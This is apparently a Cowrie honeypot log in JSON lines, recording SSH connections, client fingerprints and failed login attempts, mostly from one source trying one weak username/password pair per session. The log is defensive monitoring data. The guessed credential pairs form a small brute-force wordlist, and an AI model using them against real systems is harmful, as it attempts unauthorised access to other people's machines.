{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:42.406501Z","src_ip":"192.109.200.78","session":"45c03d8b5872","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456A","message":"login attempt [root/a123456A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:42.655895Z","src_ip":"192.109.200.78","session":"45c03d8b5872","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:43.741119Z","src_ip":"192.109.200.78","session":"45c03d8b5872","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40104,"dst_ip":"10.17.0.5","dst_port":22,"session":"6886b7944cf4","protocol":"ssh","message":"New connection: 192.109.200.78:40104 (10.17.0.5:22) [session: 6886b7944cf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:46.426496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:46.431031Z","src_ip":"192.109.200.78","session":"6886b7944cf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:46.522415Z","src_ip":"192.109.200.78","session":"6886b7944cf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jumpserver","password":"jumpserver","message":"login attempt [jumpserver/jumpserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:46.837849Z","src_ip":"192.109.200.78","session":"6886b7944cf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:47.923474Z","src_ip":"192.109.200.78","session":"6886b7944cf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.09654474258423,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:50.401415Z","src_ip":"5.42.229.203","session":"7ca80df52213","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44224,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8307c6048ba","protocol":"ssh","message":"New connection: 192.109.200.78:44224 (10.17.0.5:22) [session: c8307c6048ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:50.747435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:50.753484Z","src_ip":"192.109.200.78","session":"c8307c6048ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:50.836748Z","src_ip":"192.109.200.78","session":"c8307c6048ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:51.086484Z","src_ip":"192.109.200.78","session":"c8307c6048ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:52.349861Z","src_ip":"192.109.200.78","session":"c8307c6048ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44236,"dst_ip":"10.17.0.5","dst_port":22,"session":"86c43836cc03","protocol":"ssh","message":"New connection: 192.109.200.78:44236 (10.17.0.5:22) [session: 86c43836cc03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:54.793931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:54.926015Z","src_ip":"192.109.200.78","session":"86c43836cc03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:54.929949Z","src_ip":"192.109.200.78","session":"86c43836cc03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zlm","password":"123456","message":"login attempt [zlm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:55.488619Z","src_ip":"192.109.200.78","session":"86c43836cc03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:56.575953Z","src_ip":"192.109.200.78","session":"86c43836cc03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43254,"dst_ip":"159.203.135.109","dst_port":22,"session":"3dc045127134","protocol":"ssh","message":"New connection: 159.203.92.129:43254 (159.203.135.109:22) [session: 3dc045127134]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:56.952713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:56.957787Z","src_ip":"159.203.92.129","session":"3dc045127134","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:56.962871Z","src_ip":"159.203.92.129","session":"3dc045127134","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Ver0d!nP@$$","message":"login attempt [admin/Ver0d!nP@$$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:56.974200Z","src_ip":"159.203.92.129","session":"3dc045127134","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:57.982545Z","src_ip":"159.203.92.129","session":"3dc045127134","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39082,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad2af063a0b7","protocol":"ssh","message":"New connection: 192.109.200.78:39082 (10.17.0.5:22) [session: ad2af063a0b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:59.085767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:59.090458Z","src_ip":"192.109.200.78","session":"ad2af063a0b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:59.178682Z","src_ip":"192.109.200.78","session":"ad2af063a0b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trinity","password":"trinity","message":"login attempt [trinity/trinity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:34:59.549013Z","src_ip":"192.109.200.78","session":"ad2af063a0b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:00.641418Z","src_ip":"192.109.200.78","session":"ad2af063a0b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39092,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ba2057861a6","protocol":"ssh","message":"New connection: 192.109.200.78:39092 (10.17.0.5:22) [session: 5ba2057861a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:03.278190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:03.288538Z","src_ip":"192.109.200.78","session":"5ba2057861a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:03.373415Z","src_ip":"192.109.200.78","session":"5ba2057861a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"123456","message":"login attempt [sysupdate/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:03.625040Z","src_ip":"192.109.200.78","session":"5ba2057861a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:04.814392Z","src_ip":"192.109.200.78","session":"5ba2057861a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39100,"dst_ip":"10.17.0.5","dst_port":22,"session":"cad06b8c81a0","protocol":"ssh","message":"New connection: 192.109.200.78:39100 (10.17.0.5:22) [session: cad06b8c81a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:07.223906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:07.268033Z","src_ip":"192.109.200.78","session":"cad06b8c81a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:07.513227Z","src_ip":"192.109.200.78","session":"cad06b8c81a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operator","password":"operator","message":"login attempt [operator/operator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:07.790138Z","src_ip":"192.109.200.78","session":"cad06b8c81a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:08.881285Z","src_ip":"192.109.200.78","session":"cad06b8c81a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33308,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b91c066de1d","protocol":"ssh","message":"New connection: 192.109.200.78:33308 (10.17.0.5:22) [session: 5b91c066de1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:11.517771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:11.524848Z","src_ip":"192.109.200.78","session":"5b91c066de1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa